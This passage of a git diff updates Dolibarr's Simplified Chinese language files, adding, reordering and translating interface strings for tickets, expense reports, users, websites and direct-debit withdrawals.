-NotTheGoodQualitySupplier=Low quality +NotTheGoodQualitySupplier=质量低下 ReputationForThisProduct=信誉 BuyerName=买家名称 AllProductServicePrices=全部 产品/服务 价格 -AllProductReferencesOfSupplier=All references of vendor +AllProductReferencesOfSupplier=供应商的所有参考 BuyingPriceNumShort=供应商价格 +RepeatableSupplierInvoice=供应商发票模块 +RepeatableSupplierInvoices=供应商发票模块 +RepeatableSupplierInvoicesList=供应商发票模块 +RecurringSupplierInvoices=Recurring supplier invoices +ToCreateAPredefinedSupplierInvoice=In order to create template supplier invoice, you must create a standard invoice, then, without validating it, click on the "%s" button. +GeneratedFromSupplierTemplate=Generated from supplier invoice template %s +SupplierInvoiceGeneratedFromTemplate=Supplier invoice %s Generated from supplier invoice template %s diff --git a/htdocs/langs/zh_CN/ticket.lang b/htdocs/langs/zh_CN/ticket.lang index eacf5e31b7b..068b620dd89 100644 --- a/htdocs/langs/zh_CN/ticket.lang +++ b/htdocs/langs/zh_CN/ticket.lang @@ -26,7 +26,9 @@ Permission56002=修改票证 Permission56003=删除票据 Permission56004=管理票据 Permission56005=See tickets of all third parties (not effective for external users, always be limited to the third party they depend on) +Permission56006=Export tickets +Tickets=工单 TicketDictType=Ticket - Types TicketDictCategory=Ticket - Groupes TicketDictSeverity=Ticket - Severities @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=外部贡献者 OriginEmail=Reporter Email Notify_TICKET_SENTBYMAIL=Send ticket message by email +ExportDataset_ticket_1=工单 + # Status Read=阅读 Assigned=分配 @@ -90,8 +94,8 @@ TicketPublicAccess=以下网址提供不需要识别的公共接口 TicketSetupDictionaries=The type of ticket, severity and analytic codes are configurable from dictionaries TicketParamModule=模块变量设置 TicketParamMail=电子邮件设置 -TicketEmailNotificationFrom=Sender e-mail for ticket answers -TicketEmailNotificationFromHelp=Sender e-mail for ticket answers sent from Dolibarr +TicketEmailNotificationFrom=Sender e-mail for notification on answers +TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com TicketEmailNotificationTo=Notify ticket creation to this e-mail address TicketEmailNotificationToHelp=If present, this e-mail address will be notified of a ticket creation TicketNewEmailBodyLabel=Text message sent after creating a ticket @@ -99,6 +103,8 @@ TicketNewEmailBodyHelp=此处指定的文本将插入到确认从公共界面创 TicketParamPublicInterface=公共界面设置 TicketsEmailMustExist=需要现有电子邮件地址才能创建故障单 TicketsEmailMustExistHelp=在公共界面中,电子邮件地址应该已经填入数据库以创建新票证。 +TicketCreateThirdPartyWithContactIfNotExist=Ask name and company name for unknown emails. +TicketCreateThirdPartyWithContactIfNotExistHelp=Check if a thirdparty or a contact exists for the email entered. If not, ask a name and a company name to create a third party with contact. PublicInterface=公共界面 TicketUrlPublicInterfaceLabelAdmin=Alternative URL for public interface TicketUrlPublicInterfaceHelpAdmin=It is possible to define an alias to the web server and thus make available the public interface with another URL (the server must act as a proxy on this new URL) @@ -147,6 +153,8 @@ TicketsAutoNotifyCloseHelp=When closing a ticket, you will be proposed to send a TicketWrongContact=Provided contact is not part of current ticket contacts. Email not sent. TicketChooseProductCategory=Product category for ticket support TicketChooseProductCategoryHelp=Select the product category of ticket support. This will be used to automatically link a contract to a ticket. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. # # Index & list page @@ -182,7 +190,7 @@ TicketCategory=Ticket categorization SeeTicket=查看票据 TicketMarkedAsRead=票据已标记为已读 TicketReadOn=请继续阅读 -TicketCloseOn=截止日期 +TicketCloseOn=关闭日期 MarkAsRead=将票证标记为已读 TicketHistory=票务历史 AssignUser=分配给用户 @@ -190,8 +198,7 @@ TicketAssigned=现在分配了票证 TicketChangeType=改变类型 TicketChangeCategory=Change analytic code TicketChangeSeverity=改变严重程度 -TicketAddMessage=添加消息 -AddMessage=添加消息 +TicketAddMessage=Add private message MessageSuccessfullyAdded=新增票据 TicketMessageSuccessfullyAdded=消息已成功添加 TicketMessagesList=消息列表 @@ -202,8 +209,8 @@ TicketSeverity=严重 ShowTicket=看票 RelatedTickets=相关票据 TicketAddIntervention=创建干预 -CloseTicket=Close|Solve ticket -AbandonTicket=Abandon ticket +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=Close|Solve a ticket ConfirmCloseAticket=确认票据关闭 ConfirmAbandonTicket=Do you confirm the closing of the ticket to status 'Abandonned' @@ -217,18 +224,17 @@ SendMessageByEmail=通过电子邮件发送消息 TicketNewMessage=新消息 ErrorMailRecipientIsEmptyForSendTicketMessage=收件人是空的。没有电子邮件发送 TicketGoIntoContactTab=请进入“联系人”标签以选择它们 -TicketMessageMailIntro=介绍 +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=此文本仅在电子邮件的开头添加,不会保存。 -TicketMessageMailIntroLabelAdmin=Introduction text to all ticket answers -TicketMessageMailIntroText=Hello,
      A new answer has been added to a ticket that you follow. Here is the message:
      +TicketMessageMailIntroText=您好,在您联络的工单上有新回复
      。以下是信息:
      TicketMessageMailIntroHelpAdmin=This text will be inserted before the answer when replying to a ticket from Dolibarr -TicketMessageMailSignature=签名 -TicketMessageMailSignatureHelp=此文本仅在电子邮件末尾添加,不会保存。 -TicketMessageMailSignatureText=Message sent by %s via Dolibarr -TicketMessageMailSignatureLabelAdmin=回复电子邮件的签名 -TicketMessageMailSignatureHelpAdmin=该文本将在响应消息后插入。 +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Message sent by %s via Dolibarr +TicketMessageMailFooterHelpAdmin=This text will be inserted after the response message. TicketMessageHelp=只有此文本将保存在故障单卡的消息列表中。 TicketMessageSubstitutionReplacedByGenericValues=替换变量由通用值替换。 +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=Time elapsed since TicketTimeToRead=Time elapsed before read TicketTimeElapsedBeforeSince=Time elapsed before / since @@ -239,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=A new message was posted on the ticke TicketAssignedToYou=机票已分配 TicketAssignedEmailBody=您已获得%s的票据#%s MarkMessageAsPrivate=将邮件标记为私有 +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=此消息不会显示给外部用户 TicketEmailOriginIssuer=发行人在门票的原产地 InitialMessage=初步讯息 @@ -255,7 +262,7 @@ TicketNotNotifyTiersAtCreate=不在创建时通知公司 NotifyThirdpartyOnTicketClosing=Contacts to notify while closing the ticket TicketNotifyAllTiersAtClose=All related contacts TicketNotNotifyTiersAtClose=No related contact -Unread=Unread +Unread=未读 TicketNotCreatedFromPublicInterface=Not available. Ticket was not created from public interface. ErrorTicketRefRequired=Ticket reference name is required TicketsDelayForFirstResponseTooLong=Too much time elapsed since ticket opening without any answer. @@ -294,7 +301,7 @@ TicketNewEmailBodyInfosTrackUrlCustomer=您可以通过单击以下链接查看 TicketCloseEmailBodyInfosTrackUrlCustomer=You can consult the history of this ticket by clicking the following link TicketEmailPleaseDoNotReplyToThisEmail=请不要直接回复此电子邮件!使用该链接回复界面。 TicketPublicInfoCreateTicket=此表单允许您在我们的管理系统中记录支持服务单。 -TicketPublicPleaseBeAccuratelyDescribe=请准确描述问题。提供尽可能多的信息,以便我们正确识别您的请求。 +TicketPublicPleaseBeAccuratelyDescribe=请准确描述您的问题,提供尽可能多的信息让我们能够正确识别您的要求。 TicketPublicMsgViewLogIn=请输入故障单跟踪ID TicketTrackId=Public Tracking ID OneOfTicketTrackId=One of your tracking ID diff --git a/htdocs/langs/zh_CN/trips.lang b/htdocs/langs/zh_CN/trips.lang index 13bf397bc51..6ff0844d1fd 100644 --- a/htdocs/langs/zh_CN/trips.lang +++ b/htdocs/langs/zh_CN/trips.lang @@ -1,150 +1,152 @@ # Dolibarr language file - Source file is en_US - trips -ShowExpenseReport=显示费用报表 -Trips=费用报表 -TripsAndExpenses=费用报表 -TripsAndExpensesStatistics=费用报表统计 -TripCard=费用报表信息卡 +AUTHOR=记录人员 +AUTHORPAIEMENT=付款人 AddTrip=创建费用报表 -ListOfTrips=费用报表列表 -ListOfFees=费用清单 -TypeFees=费用类型 -ShowTrip=显示费用报表 -NewTrip=新建费用报表 -LastExpenseReports=最新的%s费用报告 +AllExpenseReport=所有类型的费用报告 AllExpenseReports=所有费用报告 -CompanyVisited=公司/组织访问过 -FeesKilometersOrAmout=金额或公里 -DeleteTrip=删除费用报表 -ConfirmDeleteTrip=您确定要删除此费用报表吗? -ListTripsAndExpenses=费用报表列表 -ListToApprove=等待审批 -ExpensesArea=费用报表区 +AnyOtherInThisListCanValidate=被通知验证请求的人。 +AttachTheNewLineToTheDocument=将该行附加在上传的文档中 +AucuneLigne=尚未宣布费用报告 +BrouillonnerTrip=费用报表回退到"草稿"状态 +byEX_DAY=按天(限制为%s) +byEX_EXP=按行(限制为%s) +byEX_MON=按月(限制为%s) +byEX_YEA=按年(限制为%s) +CANCEL_USER=删除者 +CarCategory=车辆类别 ClassifyRefunded=归类 'Refunded' +CompanyVisited=公司/组织访问过 +ConfirmBrouillonnerTrip=您确定要将此费用报告移至状态“草稿”吗? +ConfirmCancelTrip=您确定要取消此费用报告吗? +ConfirmCloneExpenseReport=您确定要克隆此费用报告吗? +ConfirmDeleteTrip=您确定要删除此费用报表吗? +ConfirmPaidTrip=您确定要将此费用报表的状态更改为“付费”吗? +ConfirmRefuseTrip=您确定要拒绝此费用报告吗? +ConfirmSaveTrip=您确定要验证此费用报告吗? +ConfirmValideTrip=您确定要批准此费用报表吗? +DATE_CANCEL=取消日期 +DATE_PAIEMENT=付款日期 +DATE_REFUS=否认日期 +DATE_SAVE=验证日期 +DefaultCategoryCar=默认运输模式 +DefaultRangeNumber=默认范围编号 +DeleteTrip=删除费用报表 +ErrorDoubleDeclaration=您已将另一个费用报表声明为类似的日期范围。 +Error_EXPENSEREPORT_ADDON_NotDefined=错误,费用报告编号ref的规则未定义到模块“费用报告”的设置中 +ExpenseRangeOffset=抵消金额:%s +expenseReportCatDisabled=类别已禁用 - 请参阅c_exp_tax_cat字典 +expenseReportCoef=系数 +expenseReportCoefUndefined=(值未定义) +expenseReportOffset=偏移 +expenseReportPrintExample=offset + (d x coef) = %s +expenseReportRangeDisabled=范围已禁用 - 请参阅c_exp_tax_range词典 +expenseReportRangeFromTo=从%d到%d +expenseReportRangeMoreThan=超过%d +expenseReportTotalForFive= d = 5的示例 +ExpenseReportApplyTo=适用于 +ExpenseReportApproved=费用报告获得批准 +ExpenseReportApprovedMessage=费用报告%s获得批准。
      - 用户:%s
      - 批准人:%s
      点击此处显示费用报告:%s +ExpenseReportCanceled=费用报告已取消 +ExpenseReportCanceledMessage=费用报告%s被取消。
      - 用户:%s
      - 取消:%s
      - 取消原因:%s
      点击此处查看费用报告:%s +ExpenseReportConstraintViolationError=超出最大金额 (规则%s):%s高于%s (超出禁止范围) +ExpenseReportConstraintViolationWarning=超出最大金额 (规则%s):%s高于%s (超出授权范围) +ExpenseReportDateEnd=截至日期 +ExpenseReportDateStart=开始日期 +ExpenseReportDomain=要申请的域名 +ExpenseReportIkDesc=您可以按类别和范围修改公里费用的计算。 d 是以千米为单位的距离 +ExpenseReportLimitAmount=最大金额 +ExpenseReportLimitOn=限制 +ExpenseReportLine=费用报表明细 +ExpenseReportPaid=支付了费用报告 +ExpenseReportPaidMessage=费用报告%s已付款。
      - 用户:%s
      - 支付方式:%s
      点击此处显示费用报告:%s +ExpenseReportPayment=支付费用报表 +ExpenseReportRef=参考。开支报告 +ExpenseReportRefused=费用报告遭到拒绝 +ExpenseReportRefusedMessage=费用报告%s被拒绝。
      - 用户:%s
      - 拒绝:%s
      - 拒绝动机:%s
      点击此处显示费用报告:%s +ExpenseReportRestrictive=超出禁止范围 +ExpenseReportRuleErrorOnSave=错误:%s +ExpenseReportRuleSave=已保存费用报表规则 +ExpenseReportRulesDesc=您可以为费用报告定义最高金额规则。将新的费用添加到费用报告时将应用这些规则。 ExpenseReportWaitingForApproval=新的费用报告已提交审批 ExpenseReportWaitingForApprovalMessage=新的费用报告已提交并正在等待批准。
      - 用户:%s
      - 期间:%s
      点击此处验证:%s ExpenseReportWaitingForReApproval=已提交费用报告以供重新批准 ExpenseReportWaitingForReApprovalMessage=已提交费用报告并等待重新批准。
      %s,您因此拒绝批准费用报告:%s。
      已提出新版本并等待您的批准。 > - 用户:%s
      - 期间:%s
      点击此处验证:%s -ExpenseReportApproved=费用报告获得批准 -ExpenseReportApprovedMessage=费用报告%s获得批准。
      - 用户:%s
      - 批准人:%s
      点击此处显示费用报告:%s -ExpenseReportRefused=费用报告遭到拒绝 -ExpenseReportRefusedMessage=费用报告%s被拒绝。
      - 用户:%s
      - 拒绝:%s
      - 拒绝动机:%s
      点击此处显示费用报告:%s -ExpenseReportCanceled=费用报告已取消 -ExpenseReportCanceledMessage=费用报告%s被取消。
      - 用户:%s
      - 取消:%s
      - 取消原因:%s
      点击此处查看费用报告:%s -ExpenseReportPaid=支付了费用报告 -ExpenseReportPaidMessage=费用报告%s已付款。
      - 用户:%s
      - 支付方式:%s
      点击此处显示费用报告:%s -TripId=费用报表ID号 -AnyOtherInThisListCanValidate=Person to be informed for validating the request. -TripSociete=公司资料信息 -TripNDF=费用报表信息 -PDFStandardExpenseReports=用于生成费用报表PDF文档的标准模板 -ExpenseReportLine=费用报表明细 -TF_OTHER=其他 -TF_TRIP=交通 -TF_LUNCH=午餐 -TF_METRO=地铁 -TF_TRAIN=火车 -TF_BUS=公交 -TF_CAR=汽车 -TF_PEAGE=总数 -TF_ESSENCE=燃料 -TF_HOTEL=酒店 -TF_TAXI=的士 -EX_KME=里程费用 -EX_FUE=燃料 CV -EX_HOT=酒店 -EX_PAR=停车 CV -EX_TOL=收费 CV -EX_TAX=各种税 -EX_IND=赔偿运输订阅 -EX_SUM=维修供应 -EX_SUO=办公用品 -EX_CAR=汽车出租 -EX_DOC=文档 -EX_CUR=客户收到 -EX_OTR=其他接收 -EX_POS=邮资 -EX_CAM=CV维护和修理 -EX_EMM=员工用餐 -EX_GUM=客人用餐 -EX_BRE=早餐 -EX_FUE_VP=燃料PV -EX_TOL_VP=收费PV -EX_PAR_VP=停车PV -EX_CAM_VP=PV 维护和维修 -DefaultCategoryCar=默认运输模式 -DefaultRangeNumber=默认范围编号 -UploadANewFileNow=Upload a new document now -Error_EXPENSEREPORT_ADDON_NotDefined=错误,费用报告编号ref的规则未定义到模块“费用报告”的设置中 -ErrorDoubleDeclaration=您已将另一个费用报表声明为类似的日期范围。 -AucuneLigne=尚未宣布费用报告 -ModePaiement=支付模式 -VALIDATOR=用户负责批准 -VALIDOR=被批准 -AUTHOR=记录人员 -AUTHORPAIEMENT=付款人 -REFUSEUR=否认人 -CANCEL_USER=删除者 -MOTIF_REFUS=原因 -MOTIF_CANCEL=原因 -DATE_REFUS=否认日期 -DATE_SAVE=验证日期 -DATE_CANCEL=取消日期 -DATE_PAIEMENT=付款日期 -ExpenseReportRef=参考。开支报告 -ValidateAndSubmit=同意验证和提交 -ValidatedWaitingApproval=验证 (等待审批) -NOT_AUTHOR=您不是此费用报告的作者。操作取消。 -ConfirmRefuseTrip=您确定要拒绝此费用报告吗? -ValideTrip=批准费用报告 -ConfirmValideTrip=您确定要批准此费用报表吗? -PaidTrip=支付费用报告 -ConfirmPaidTrip=您确定要将此费用报表的状态更改为“付费”吗? -ConfirmCancelTrip=您确定要取消此费用报告吗? -BrouillonnerTrip=费用报表回退到"草稿"状态 -ConfirmBrouillonnerTrip=您确定要将此费用报告移至状态“草稿”吗? -SaveTrip=批准费用报表 -ConfirmSaveTrip=您确定要验证此费用报告吗? -NoTripsToExportCSV=此期间无出口费用报告。 -ExpenseReportPayment=支付费用报表 +ExpenseReportsIk=里程费用的配置 +ExpenseReportsRules=费用报告规则 ExpenseReportsToApprove=批准费用报表 ExpenseReportsToPay=支付费用报表 -ConfirmCloneExpenseReport=您确定要克隆此费用报告吗? -ExpenseReportsIk=Configuration of mileage charges -ExpenseReportsRules=费用报告规则 -ExpenseReportIkDesc=您可以按类别和范围修改公里费用的计算。 d 是以千米为单位的距离 -ExpenseReportRulesDesc=You can define max amount rules for expense reports. These rules will be applied when a new expense is added to an expense report -expenseReportOffset=偏移 -expenseReportCoef=系数 -expenseReportTotalForFive= d = 5的示例 -expenseReportRangeFromTo=从%d到%d -expenseReportRangeMoreThan=超过%d -expenseReportCoefUndefined=(值未定义) -expenseReportCatDisabled=类别已禁用 - 请参阅c_exp_tax_cat字典 -expenseReportRangeDisabled=范围已禁用 - 请参阅c_exp_tax_range词典 -expenseReportPrintExample=offset + (d x coef) = %s -ExpenseReportApplyTo=适用于 -ExpenseReportDomain=要申请的域名 -ExpenseReportLimitOn=限制 -ExpenseReportDateStart=开始日期 -ExpenseReportDateEnd=截至日期 -ExpenseReportLimitAmount=Max amount -ExpenseReportRestrictive=Exceeding forbidden -AllExpenseReport=所有类型的费用报告 -OnExpense=费用行 -ExpenseReportRuleSave=已保存费用报表规则 -ExpenseReportRuleErrorOnSave=错误:%s -RangeNum=范围%d -ExpenseReportConstraintViolationError=Max amount exceeded (rule %s): %s is higher than %s (Exceeding forbidden) -byEX_DAY=按天(限制为%s) -byEX_MON=按月(限制为%s) -byEX_YEA=按年(限制为%s) -byEX_EXP=按行(限制为%s) -ExpenseReportConstraintViolationWarning=Max amount exceeded (rule %s): %s is higher than %s (Exceeding authorized) +ExpensesArea=费用报表区 +FeesKilometersOrAmout=金额或公里 +LastExpenseReports=最新的%s费用报告 +ListOfFees=费用清单 +ListOfTrips=费用报表列表 +ListToApprove=等待审批 +ListTripsAndExpenses=费用报表列表 +MOTIF_CANCEL=原因 +MOTIF_REFUS=原因 +ModePaiement=支付模式 +NewTrip=新建费用报表 nolimitbyEX_DAY=按天(没有限制) +nolimitbyEX_EXP=按行(没有限制) nolimitbyEX_MON=按月(无限制) nolimitbyEX_YEA=按年(无限制) -nolimitbyEX_EXP=按行(没有限制) -CarCategory=Vehicle category -ExpenseRangeOffset=抵消金额:%s +NoTripsToExportCSV=此期间无出口费用报告。 +NOT_AUTHOR=您不是此费用报告的作者。操作取消。 +OnExpense=费用行 +PDFStandardExpenseReports=用于生成费用报表PDF文档的标准模板 +PaidTrip=支付费用报告 +REFUSEUR=否认人 RangeIk=里程范围 -AttachTheNewLineToTheDocument=Attach the line to an uploaded document +RangeNum=范围%d +SaveTrip=批准费用报表 +ShowExpenseReport=显示费用报表 +ShowTrip=显示费用报表 +TripCard=费用报表信息卡 +TripId=费用报表ID号 +TripNDF=费用报表信息 +TripSociete=公司资料信息 +Trips=费用报表 +TripsAndExpenses=费用报表 +TripsAndExpensesStatistics=费用报表统计 +TypeFees=费用类型 +UploadANewFileNow=立即上传新文档 +VALIDATOR=用户负责批准 +VALIDOR=被批准 +ValidateAndSubmit=同意验证和提交 +ValidatedWaitingApproval=验证 (等待审批) +ValideTrip=批准费用报告 + +## Dictionary +EX_BRE=早餐 +EX_CAM=CV维护和修理 +EX_CAM_VP=PV 维护和维修 +EX_CAR=汽车出租 +EX_CUR=接收的客户 +EX_DOC=文档 +EX_EMM=员工用餐 +EX_FUE=燃料 CV +EX_FUE_VP=燃料PV +EX_GUM=客人用餐 +EX_HOT=酒店 +EX_IND=赔偿运输订阅 +EX_KME=里程费用 +EX_OTR=其他接收 +EX_PAR=停车 CV +EX_PAR_VP=停车PV +EX_POS=邮资 +EX_SUM=维修供应 +EX_SUO=办公用品 +EX_TAX=各种税 +EX_TOL=收费 CV +EX_TOL_VP=收费PV +TF_BUS=公交 +TF_CAR=汽车 +TF_ESSENCE=燃料 +TF_HOTEL=酒店 +TF_LUNCH=午餐 +TF_METRO=地铁 +TF_OTHER=其他 +TF_PEAGE=总数 +TF_TAXI=的士 +TF_TRAIN=火车 +TF_TRIP=交通 diff --git a/htdocs/langs/zh_CN/users.lang b/htdocs/langs/zh_CN/users.lang index fb2abe3cd20..24ec2a2f3af 100644 --- a/htdocs/langs/zh_CN/users.lang +++ b/htdocs/langs/zh_CN/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=从组中删除 PasswordChangedAndSentTo=密码更改,发送到%s。 PasswordChangeRequest=请求更改 %s 的密码 PasswordChangeRequestSent=要求更改密码的S%发送到%s。 -IfLoginExistPasswordRequestSent=If this login is a valid account, an email to reset password has been sent. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=If this email is a valid account, an email to reset password has been sent. ConfirmPasswordReset=确认密码重置 MenuUsersAndGroups=用户和组 @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Link to user LinkedToDolibarrThirdParty=Link to third party CreateDolibarrLogin=创建用户 CreateDolibarrThirdParty=创建合伙人 -LoginAccountDisableInDolibarr=停用帐户 +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=使用自定义值 -InternalUser=内部用户 ExportDataset_user_1=用户及属性 DomainUser=域用户%s Reactivate=重新激活 @@ -114,7 +114,7 @@ UserLogoff=用户注销 UserLogged=用户登录 DateOfEmployment=Employment date DateEmployment=Employment -DateEmploymentstart=Employment Start Date +DateEmploymentStart=Employment Start Date DateEmploymentEnd=Employment End Date RangeOfLoginValidity=Access validity date range CantDisableYourself=You can't disable your own user record @@ -124,3 +124,12 @@ ValidatorIsSupervisorByDefault=By default, the validator is the supervisor of th UserPersonalEmail=Personal email UserPersonalMobile=Personal mobile phone WarningNotLangOfInterface=Warning, this is the main language the user speak, not the language of the interface he choosed to see. To change the interface language visible by this user, go on tab %s +DateLastLogin=Date last login +DatePreviousLogin=Date previous login +IPLastLogin=IP last login +IPPreviousLogin=IP previous login +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/zh_CN/website.lang b/htdocs/langs/zh_CN/website.lang index 7e6f598ca4f..d2e23b422f8 100644 --- a/htdocs/langs/zh_CN/website.lang +++ b/htdocs/langs/zh_CN/website.lang @@ -1,5 +1,6 @@ # Dolibarr language file - Source file is en_US - website Shortname=代码 +WebsiteName=Name of the website WebsiteSetupDesc=Create here the websites you wish to use. Then go into menu Websites to edit them. DeleteWebsite=删除网址 ConfirmDeleteWebsite=Are you sure you want to delete this web site? All its pages and content will also be removed. The files uploaded (like into the medias directory, the ECM module, ...) will remain. @@ -15,9 +16,9 @@ WEBSITE_HTML_HEADER=在HTML标题的底部添加(对所有页面通用) WEBSITE_ROBOT=机器人文件(robots.txt) WEBSITE_HTACCESS=Website .htaccess file WEBSITE_MANIFEST_JSON=Website manifest.json file -WEBSITE_README=README.md file WEBSITE_KEYWORDSDesc=Use a comma to separate values -EnterHereLicenseInformation=Enter here meta data or license information to fille a README.md file. if you distribute your website as a template, the file will be included into the temptate package. +EnterHereReadmeInformation=Enter here a description of the website. If you distribute your website as a template, the file will be included into the temptate package. +EnterHereLicenseInformation=Enter here the LICENSE of the code of the website. If you distribute your website as a template, the file will be included into the temptate package. HtmlHeaderPage=HTML标头(仅限此页面) PageNameAliasHelp=页面的名称或别名。
      当从Web服务器的虚拟主机(如Apacke,Nginx,...)运行网站时,此别名也用于伪造SEO URL。使用“ %s ”按钮编辑此别名。 EditTheWebSiteForACommonHeader=注意:如果要为所有页面定义个性化标题,请在站点级别而不是页面/容器上编辑标题。 @@ -42,10 +43,12 @@ ViewPageInNewTab=在新标签页查看页面 SetAsHomePage=设为首页 RealURL=真实URL地址 ViewWebsiteInProduction=使用主页URL网址查看网页 +Virtualhost=Virtual host or domain name +VirtualhostDesc=The name of the Virtual host or domain (For example: www.mywebsite.com, mybigcompany.net, ...) SetHereVirtualHost=Use with Apache/NGinx/...
      Create on your web server (Apache, Nginx, ...) a dedicated Virtual Host with PHP enabled and a Root directory on
      %s ExampleToUseInApacheVirtualHostConfig=Example to use in Apache virtual host setup: YouCanAlsoTestWithPHPS=Use with PHP embedded server
      On develop environment, you may prefer to test the site with the PHP embedded web server (PHP 5.5 required) by running
      php -S 0.0.0.0:8080 -t %s -YouCanAlsoDeployToAnotherWHP=Run your web site with another Dolibarr Hosting provider
      If you don't have a web server like Apache or NGinx available on internet, you can export and import your web site onto another Dolibarr instance provided by another Dolibarr hosting provider that provide full integration with the Website module. You can find a list of some Dolibarr hosting providers on https://saas.dolibarr.org +YouCanAlsoDeployToAnotherWHP=Run your web site with another Dolibarr Hosting provider
      If you don't have a web server like Apache or NGinx available on internet, you can export and import your web site onto another Dolibarr instance provided by another Dolibarr hosting provider that provide full integration with the Website module. You can find a list of some Dolibarr hosting providers on https://saas.dolibarr.org CheckVirtualHostPerms=Check also that the virtual host user (for example www-data) has %s permissions on files into
      %s ReadPerm=阅读 WritePerm=写 @@ -60,7 +63,7 @@ YouCanEditHtmlSourceckeditor=您可以使用编辑器中的“源”按钮编辑 YouCanEditHtmlSource=
      You can include PHP code into this source using tags <?php ?>. The following global variables are available: $conf, $db, $mysoc, $user, $website, $websitepage, $weblangs, $pagelangs.

      You can also include content of another Page/Container with the following syntax:
      <?php includeContainer('alias_of_container_to_include'); ?>

      You can make a redirect to another Page/Container with the following syntax (Note: do not output any content before a redirect):
      <?php redirectToContainer('alias_of_container_to_redirect_to'); ?>

      To add a link to another page, use the syntax:
      <a href="alias_of_page_to_link_to.php">mylink<a>

      To include a link to download a file stored into the documents directory, use the document.php wrapper:
      Example, for a file into documents/ecm (need to be logged), syntax is:
      <a href="/document.php?modulepart=ecm&file=[relative_dir/]filename.ext">
      For a file into documents/medias (open directory for public access), syntax is:
      <a href="/document.php?modulepart=medias&file=[relative_dir/]filename.ext">
      For a file shared with a share link (open access using the sharing hash key of file), syntax is:
      <a href="/document.php?hashp=publicsharekeyoffile">

      To include an image stored into the documents directory, use the viewimage.php wrapper:
      Example, for an image into documents/medias (open directory for public access), syntax is:
      <img src="/viewimage.php?modulepart=medias&file=[relative_dir/]filename.ext">
      #YouCanEditHtmlSource2=
      To include a image shared publicaly, use the viewimage.php wrapper:
      Example with a shared key 123456789, syntax is:
      <img src="/viewimage.php?hashp=12345679012...">
      YouCanEditHtmlSource2=For an image shared with a share link (open access using the sharing hash key of file), syntax is:
      <img src="/viewimage.php?hashp=12345679012...">
      -YouCanEditHtmlSourceMore=
      More examples of HTML or dynamic code available on the wiki documentation
      . +YouCanEditHtmlSourceMore=
      More examples of HTML or dynamic code available on the wiki documentation
      . ClonePage=克隆页面/容器 CloneSite=克隆网站 SiteAdded=Website added @@ -78,7 +81,7 @@ IDOfPage=页面ID Banner=旗帜 BlogPost=博客文章 WebsiteAccount=Website account -WebsiteAccounts=Website accounts +WebsiteAccounts=网站帐号 AddWebsiteAccount=创建网站帐户 BackToListForThirdParty=Back to list for the third-party DisableSiteFirst=首先停用网站 @@ -137,7 +140,7 @@ PagesRegenerated=%s page(s)/container(s) regenerated RegenerateWebsiteContent=Regenerate web site cache files AllowedInFrames=Allowed in Frames DefineListOfAltLanguagesInWebsiteProperties=Define list of all available languages into web site properties. -GenerateSitemaps=Generate website sitemap file +GenerateSitemaps=Generate website sitemap.xml file ConfirmGenerateSitemaps=If you confirm, you will erase the existing sitemap file... ConfirmSitemapsCreation=Confirm sitemap generation SitemapGenerated=Sitemap file %s generated @@ -145,3 +148,10 @@ ImportFavicon=Favicon ErrorFaviconType=Favicon must be png ErrorFaviconSize=Favicon must be sized 16x16, 32x32 or 64x64 FaviconTooltip=Upload an image which needs to be a png (16x16, 32x32 or 64x64) +NextContainer=Next page/container +PreviousContainer=Previous page/container +WebsiteMustBeDisabled=The website must have the status "%s" +WebpageMustBeDisabled=The web page must have the status "%s" +SetWebsiteOnlineBefore=When website is offline, all pages are offline. Change status of website first. +Booking=Booking +Reservation=Reservation diff --git a/htdocs/langs/zh_CN/withdrawals.lang b/htdocs/langs/zh_CN/withdrawals.lang index 72dd3ffd8b9..61086602c51 100644 --- a/htdocs/langs/zh_CN/withdrawals.lang +++ b/htdocs/langs/zh_CN/withdrawals.lang @@ -31,8 +31,9 @@ SupplierInvoiceWaitingWithdraw=Vendor invoice waiting for payment by credit tran InvoiceWaitingWithdraw=发票等待直接付款 InvoiceWaitingPaymentByBankTransfer=Invoice waiting for credit transfer AmountToWithdraw=收回的款额 +AmountToTransfer=Amount to transfer NoInvoiceToWithdraw=No invoice open for '%s' is waiting. Go on tab '%s' on invoice card to make a request. -NoSupplierInvoiceToWithdraw=No supplier invoice with open 'Direct credit requests' is waiting. Go on tab '%s' on invoice card to make a request. +NoSupplierInvoiceToWithdraw=No supplier invoice with open '%s' is waiting. Go on tab '%s' on invoice card to make a request. ResponsibleUser=User Responsible WithdrawalsSetup=提款设置 CreditTransferSetup=Credit transfer setup @@ -41,6 +42,7 @@ CreditTransferStatistics=Credit transfer statistics Rejects=拒绝 LastWithdrawalReceipt=最新的%s直接借记收据 MakeWithdrawRequest=直接付款请求 +MakeWithdrawRequestStripe=Make a direct debit payment request via Stripe MakeBankTransferOrder=Make a credit transfer request WithdrawRequestsDone=%s记录了直接付款请求 BankTransferRequestsDone=%s credit transfer requests recorded @@ -75,7 +77,7 @@ StatusMotif0=未指定 StatusMotif1=提供insuffisante StatusMotif2=Tirage conteste StatusMotif3=没有直接付款订单 -StatusMotif4=Sales Order +StatusMotif4=销售订单 StatusMotif5=肋inexploitable StatusMotif6=帐户无余额 StatusMotif7=司法判决 @@ -99,8 